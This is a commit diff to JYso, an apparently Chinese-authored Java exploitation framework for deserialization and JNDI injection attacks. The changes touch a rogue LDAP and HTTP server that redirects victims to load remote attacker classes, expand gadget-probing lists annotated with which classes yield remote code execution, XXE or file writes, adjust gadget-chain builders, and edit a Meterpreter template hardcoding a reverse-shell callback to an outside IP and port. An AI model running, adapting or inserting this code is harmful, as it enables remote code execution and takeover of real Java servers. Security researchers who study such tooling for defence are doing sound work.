fix(HTTPServer.java): Bug fixes

README.md

@@ -82,4 +82,5 @@ JYso 是 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink) 中
 - https://tttang.com/archive/1405/#toc_groovyclassloader
 - https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
 - https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
+- https://github.com/mbechler/marshalsec
 

build.gradle

@@ -21,7 +21,7 @@ shadowJar {
         attributes 'Main-Class': 'com.qi4l.JYso.Starter'
     }
     zip64=true
-    minimize()
+    //minimize()
 }
 
 dependencies {

src/main/java/com/qi4l/JYso/HTTPServer.java

@@ -20,6 +20,7 @@ import java.io.FileInputStream;
 import java.io.IOException;
 import java.net.InetSocketAddress;
 import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.jar.JarOutputStream;
@@ -41,6 +42,8 @@ public class HTTPServer {
                     System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + "  " + httpExchange.getRequestURI()));
 
                     String qi = String.valueOf(httpExchange.getRequestURI());
+
+
                     if (qi.contains("setPathAlias")) {
                         Config.BCEL1 = qi.substring(qi.indexOf("=") + 1);
                         System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1));
@@ -48,6 +51,7 @@ public class HTTPServer {
                         Config.ROUTE = qi.substring(qi.indexOf("=") + 1);
                         System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE));
                     }
+
                     String path = httpExchange.getRequestURI().getPath();
                     if (path.endsWith(".class")) {
                         handleClassRequest(httpExchange);
@@ -435,16 +439,13 @@ public class HTTPServer {
         String path      = exchange.getRequestURI().getPath();
         String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
         System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
-
         if (Cache.contains(className)) {
             System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
 
             byte[] bytes = Cache.get(className);
             exchange.sendResponseHeaders(200, bytes.length);
-            //这一步返回http请求
             exchange.getResponseBody().write(bytes);
-        } else {//找不到就从/org目录下照
+        } else {
-            //String pa   = cwd + File.separator + "org";
             String pa   = cwd + path;
             File   file = new File(pa);
 
@@ -454,9 +455,11 @@ public class HTTPServer {
                     fileInputStream.read(bytes);
                 }
                 exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
-                exchange.sendResponseHeaders(200, file.length() + 1);
+                exchange.sendResponseHeaders(200, file.length());
                 exchange.getResponseBody().write(bytes);
-                System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200));
+
+                System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200));
+                System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
             } else {
                 System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
                 exchange.sendResponseHeaders(404, 0);

src/main/java/com/qi4l/JYso/Starter.java

@@ -8,6 +8,7 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
 
 public class Starter {
 
+    // 用于存储所有的ObjectPayload类
     public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
     static {
         for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
@@ -21,8 +22,10 @@ public class Starter {
         String logo = "" +
                 " ┏┳┓┏    \n" +
                 "  ┃┗┫┏┏┓ \n" +
-                " ┗┛┗┛┛┗┛ version: 1.33";
+                " ┗┛┗┛┛┗┛ ";
         System.out.println(logo);
+
+        // 如果参数中包含-j，则启动LDAP、HTTP、RMI服务
         if (args.length > 0 && args[0].equals("-j")) {
             Config.applyCmdArgs(args);
             if (Config.TLSProxy) {
@@ -32,6 +35,8 @@ public class Starter {
             HTTPServer.start();
             RMIServer.start();
         }
+
+        // 如果参数中包含-y，则启动ysoserial
         if (args.length > 0 && args[0].equals("-y")) {
             JYsoMode = true;
             ysoserial(args);

src/main/java/com/qi4l/JYso/controllers/BasicController.java

@@ -20,9 +20,6 @@ import java.util.Base64;
 
 import static org.fusesource.jansi.Ansi.ansi;
 
-/**
- * 本地工厂类加载
- */
 @LdapMapping(uri = {"/basic"})
 public class BasicController implements LdapController {
     private static String     payloadType;
@@ -61,12 +58,12 @@ public class BasicController implements LdapController {
             }
 
             String className1 = className.replaceAll("\\.", "/");
+
             URL    turl       = new URL(new URL(this.codebase), className1 + ".class");
             System.out.println(ansi().render("@|green [+] Send LDAP reference result for |@" + base + " @|green redirecting to |@" + turl));
-            System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
             e.addAttribute("javaClassName", "foo");
             e.addAttribute("javaCodeBase", this.codebase);
-            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
+            e.addAttribute("objectClass", "javaNamingReference");
             e.addAttribute("javaFactory", className);
             result.sendSearchEntry(e);
             result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

src/main/java/com/qi4l/JYso/gadgets/URLDNS.java

@@ -37,8 +37,85 @@ import java.util.List;
 @Authors({Authors.GEBL})
 public class URLDNS implements ObjectPayload<Object> {
     public static String[] defaultClass = new String[]{
-            "CommonsCollections13567", "CommonsCollections24", "CommonsBeanutils2", "C3P0", "AspectJWeaver", "bsh",
+            "CommonsCollections13567",
-            "Groovy", "Becl", "Jdk7u21", "JRE8u20", "winlinux", "jackson2100", "ROME", "SpringAOP"};
+            "CommonsCollections24",
+            "CommonsBeanutils2",
+            "C3P0",
+            "AspectJWeaver",
+            "bsh",
+            "Groovy",
+            "Becl",
+            "DefiningClassLoader",
+            "Jdk7u21",
+            "JRE8u20",
+            "ROME",
+            "Fastjson",
+            "Jackson",
+            "SpringAOP",
+            "winlinux",
+            "jdk17_22",
+            "jdk9_22",
+            "jdk6_8",
+            "jdk6_11",
+            "jdk9_10",
+    };
+
+    public static String[] jndidefaultclass = {
+            //"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",//知名getter=classloader,jdk默认就有
+
+            "org.apache.naming.factory.BeanFactory",//最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法
+            "org.apache.catalina.filters.CsrfPreventionFilter$NonceCache",//tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString
+            "javax.el.ELProcessor",//和BeanFactory最经典的配合
+            //"groovy.lang.GroovyShell",//有Groovy所以可以省略了
+            //"groovy.lang.GroovyClassLoader",//有Groovy所以可以省略了
+            "org.yaml.snakeyaml.Yaml",//知名YAML序列化,可以跟BeanFactory配合
+            "com.thoughtworks.xstream.XStream",//知名XML序列化,可以跟BeanFactory配合
+            //"org.xmlpull.v1.XmlPullParserException",//XStream依赖
+            //"org.xmlpull.mxp1.MXParser",//XStream依赖
+            "org.mvel2.sh.ShellSession",//mvel语法,可以跟BeanFactory配合
+            //"com.sun.glass.utils.NativeLibLoader",//加载dll或者so,jdk默认就有
+
+            "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory",//高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性
+            "org.apache.commons.configuration.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量
+            "org.apache.commons.configuration2.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量
+            "org.apache.groovy.util.SystemUtil",//groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量
+            "org.apache.batik.swing.JSVGCanvas",//远程加载svg造成XSS,XXE,RCE
+
+            "org.apache.catalina.users.MemoryUserDatabaseFactory",//配合UserDatabase可以XXE,写文件
+            "org.apache.catalina.UserDatabase",//配合MemoryUserDatabaseFactory可以XXE,写文件
+
+            "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory",//以下均为DataSourceFactory,可以造成jdbc
+            "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory",
+            "org.apache.commons.dbcp.BasicDataSourceFactory",
+            //"org.apache.commons.pool.KeyedObjectPoolFactory",//commons-dbcp1依赖
+            "org.apache.commons.dbcp2.BasicDataSourceFactory",
+            //"org.apache.commons.pool2.PooledObjectFactory",//commons-dbcp2依赖
+            "org.apache.tomcat.jdbc.pool.DataSourceFactory",
+            //"org.apache.juli.logging.LogFactory",//tomcat-jdbc依赖
+            "com.alibaba.druid.pool.DruidDataSourceFactory",
+            "com.zaxxer.hikari.HikariJNDIFactory",
+            //"org.slf4j.LoggerFactory",//HikariCP依赖
+            "org.h2.Driver",//h2 jdbc,可以RCE
+            "org.postgresql.Driver",//postgresql,可以远程加载XML执行SPEL,可以写文件
+            "org.springframework.context.support.ClassPathXmlApplicationContext",//postgresql RCE依赖spring环境
+            "com.mysql.jdbc.Driver",//mysql,可以二次反序列化,可以读文件,可以XXE
+            "com.mysql.cj.jdbc.Driver",
+            "com.mysql.fabric.jdbc.FabricMySQLDriver",
+            "oracle.jdbc.driver.OracleDriver",//oracle,可以带出机器用户名
+            "com.ibm.db2.jcc.DB2Driver",//db2,可以写文件
+            "COM.ibm.db2.jcc.DB2Driver",
+
+            "com.ibm.ws.webservices.engine.client.ServiceFactory",//WebSphere的ObjectFactory,可以远程加载jar,很少用到
+            "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory",
+
+
+            "oracle.ucp.jdbc.PoolDataSourceImpl",//反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖
+            //"com.mchange.v2.c3p0.DriverManagerDataSource",//有C3P0所以可以省略了
+            //"com.mchange.v2.c3p0.test.FreezableDriverManagerDataSource",//有C3P0所以可以省略了
+            //"com.alibaba.druid.pool.xa.DruidXADataSource",//有com.alibaba.druid.pool.DruidDataSourceFactory所以可以省略了
+            "org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl",//hibernate-core-4.x,比较低版本才有的类
+
+    };
 
     public static List<Object> list = new LinkedList();
 
@@ -135,22 +212,6 @@ public class URLDNS implements ObjectPayload<Object> {
                 Object JRE8u20 = getURLDNSGadget("JRE8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1");
                 list.add(JRE8u20);
                 break;
-            case "winlinux":
-                //windows/linux版本判断
-                Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
-                Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
-                list.add(linux);
-                list.add(windows);
-                break;
-            case "jackson2100":
-                //jackson-databind>=2.10.0存在一个链
-                Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization");
-                list.add(jackson2100);
-                break;
-            case "fastjson":
-                Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray");
-                list.add(fastjson);
-                break;
             case "ROME":
                 //rome <= 1.11.1
                 Object rome1000 = getURLDNSGadget("rome1000." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean");
@@ -158,16 +219,59 @@ public class URLDNS implements ObjectPayload<Object> {
                 list.add(rome1000);
                 list.add(rome1111);
                 break;
+            case "Fastjson":
+                Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray");
+                list.add(fastjson);
+                break;
+            case "Jackson":
+                //jackson-databind>=2.10.0存在一个链
+                //此链实战中有50%概率触发getStylesheetDOM导致不成功,因此需要org.springframework.aop.framework.JdkDynamicAopProxy封装,这个类的jar包和springAOP一样
+                Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization");
+                list.add(jackson2100);
+                break;
             case "SpringAOP":
-                //fastjon/jackson两个链的变种都需要springAOP
+                //fastjon/jackson两个链触发toString的变种,都需要springAOP
                 Object springAOP = getURLDNSGadget("SpringAOP." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource");
                 list.add(springAOP);
                 break;
+            case "winlinux":
+                //windows/linux版本判断
+                Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
+                Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
+                list.add(linux);
+                list.add(windows);
+                break;
+            case "jdk17_22":
+                Object jdk17_22 = getURLDNSGadget("jdk17_22." + dnsLog, "jdk.internal.util.random.RandomSupport");
+                list.add(jdk17_22);
+                break;
+            case "jdk9_22":
+                Object jdk9_22 = getURLDNSGadget("jdk9_22." + dnsLog, "jdk.internal.misc.Unsafe");
+                list.add(jdk9_22);
+                break;
+            case "jdk6_8":
+                Object jdk6_8 = getURLDNSGadget("jdk6_8." + dnsLog, "sun.misc.BASE64Decoder");
+                list.add(jdk6_8);
+                break;
+            case "jdk6_11":
+                Object jdk6_11 = getURLDNSGadget("jdk6_11." + dnsLog, "com.sun.awt.SecurityWarning");
+                list.add(jdk6_11);
+                break;
+            case "jdk9_10":
+                Object jdk9_10 = getURLDNSGadget("jdk9_10." + dnsLog, "jdk.incubator.http.HttpClient");
+                list.add(jdk9_10);
+                break;
+
             case "all":
                 for (int i = 0; i < defaultClass.length; i++) {
                     setList(defaultClass[i], dnsLog);
                 }
                 break;
+            case "jndiall":
+                for (int i = 0; i < jndidefaultclass.length; i++) {
+                    setList(jndidefaultclass[i], dnsLog);
+                }
+                break;
             default:
                 Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName);
                 list.add(hm);
@@ -200,6 +304,11 @@ public class URLDNS implements ObjectPayload<Object> {
                 setList("all", url);
                 break;
 
+            // jndi 时会测试JNDI相关的类
+            case "jndiall":
+                setList("jndiall", url);
+                break;
+
             case "null":
                 return getURLDNSGadget(url, null);
             // 默认指定类

src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java

@@ -17,8 +17,7 @@ import java.util.Hashtable;
 import java.util.Map;
 
 import static com.qi4l.JYso.gadgets.Config.Config.*;
-import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile;
+import static com.qi4l.JYso.gadgets.utils.Utils.*;
-import static com.qi4l.JYso.gadgets.utils.Utils.writeClassToFile;
 import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField;
 import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD;
 import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
@@ -28,9 +27,9 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA
 
 public class Gadgets extends ClassLoader {
     public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
-    public static Class TPL_CLASS = TemplatesImpl.class;
+    public static       Class  TPL_CLASS             = TemplatesImpl.class;
-    public static Class ABST_TRANSLET = AbstractTranslet.class;
+    public static       Class  ABST_TRANSLET         = AbstractTranslet.class;
-    public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
+    public static       Class  TRANS_FACTORY         = TransformerFactoryImpl.class;
 
     static {
         // special case for using TemplatesImpl gadgets with a SecurityManager enabled
@@ -205,7 +204,7 @@ public class Gadgets extends ClassLoader {
             }
         }
 
-        byte[] bytes = ctClass.toBytecode();
+        byte[] bytes     = ctClass.toBytecode();
         String classCode = Base64.getEncoder().encodeToString(bytes);
         //System.out.println("Base64 Encoded CtClass: " + classCode);
         ctClass.detach();
@@ -274,7 +273,9 @@ public class Gadgets extends ClassLoader {
         }
 
         String className = ctClass.getName();
-        writeClassToFile(className, ctClass.toBytecode());
+        ctClass.writeFile();
+
+        //writeClassToFile(className, ctClass.toBytecode());
 
         return className;
     }
@@ -301,31 +302,33 @@ public class Gadgets extends ClassLoader {
     public Class<?> defineClass(String name, byte[] bytecode) {
         return defineClass(name, bytecode, 0, bytecode.length);
     }
-    public static Hashtable makeTableTstring(Object o) throws Exception{
+
+    public static Hashtable makeTableTstring(Object o) throws Exception {
         Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
         Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
-        tHashMap1.put(o,"Unam4");
+        tHashMap1.put(o, "Unam4");
-        tHashMap2.put(o,"SpringKill");
+        tHashMap2.put(o, "SpringKill");
-        Reflections.setFieldValue(tHashMap1,"loadFactor",1);
+        Reflections.setFieldValue(tHashMap1, "loadFactor", 1);
-        Reflections.setFieldValue(tHashMap2,"loadFactor",1);
+        Reflections.setFieldValue(tHashMap2, "loadFactor", 1);
 
         Hashtable hashtable = new Hashtable();
-        hashtable.put(tHashMap1,"Unam4");
+        hashtable.put(tHashMap1, "Unam4");
-        hashtable.put(tHashMap2,"SpringKill");
+        hashtable.put(tHashMap2, "SpringKill");
 
         tHashMap1.put(o, null);
         tHashMap2.put(o, null);
         return hashtable;
     }
-    public static HashMap maskmapToString(Object o1, Object o2) throws Exception{
+
+    public static HashMap maskmapToString(Object o1, Object o2) throws Exception {
         Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
         Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
-        tHashMap1.put(o1,null);
+        tHashMap1.put(o1, null);
-        tHashMap2.put(o2,null);
+        tHashMap2.put(o2, null);
-        Reflections.setFieldValue(tHashMap1,"loadFactor",1);
+        Reflections.setFieldValue(tHashMap1, "loadFactor", 1);
-        Reflections.setFieldValue(tHashMap2,"loadFactor",1);
+        Reflections.setFieldValue(tHashMap2, "loadFactor", 1);
-        HashMap hashMap = new HashMap();
+        HashMap     hashMap     = new HashMap();
-        Class node = Class.forName("java.util.HashMap$Node");
+        Class       node        = Class.forName("java.util.HashMap$Node");
         Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
         constructor.setAccessible(true);
         Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null);

src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java

@@ -89,6 +89,7 @@ public class Serializer implements Callable<byte[]> {
             XStream xstream = new XStream();
             String xml = xstream.toXML(obj);
             System.out.println(xml);
+            return;
         } else if (IS_Kryo) {
             Kryo kryo = new Kryo();
             ByteArrayOutputStream bos = new ByteArrayOutputStream();

src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java

@@ -14,11 +14,10 @@ public class Meterpreter
         implements Runnable {
     public static          String  host = "111.229.10.212";
     public static          String  port = "23412";
-    //public                 String  host;
+
-    //public                 String  port;
+    static  Class   class$0;
-    static /* synthetic */ Class   class$0;
+    static  Class   class$1;
-    static /* synthetic */ Class   class$1;
+    static  Class   class$2;
-    static /* synthetic */ Class   class$2;
 
     static {
 

src/test/java/Main.java

@@ -1,7 +1,13 @@
-import com.qi4l.JYso.LdapServer;
-
 public class Main {
     public static void main(String[] args) {
-        System.out.println(LdapServer.class.getPackage().getName() + ".template.echo." + "WindowsEcho");
+        String input = "org/apache/myfaces/core/service/IoServiceListenerSupport";
+        int lastIndex = input.lastIndexOf('/');
+        if (lastIndex != -1) {
+            String result = input.substring(lastIndex + 1);
+            System.out.println(result);
+        } else {
+            // 如果没有'/'字符，则直接打印原字符串
+            System.out.println(input);
+        }
     }
 }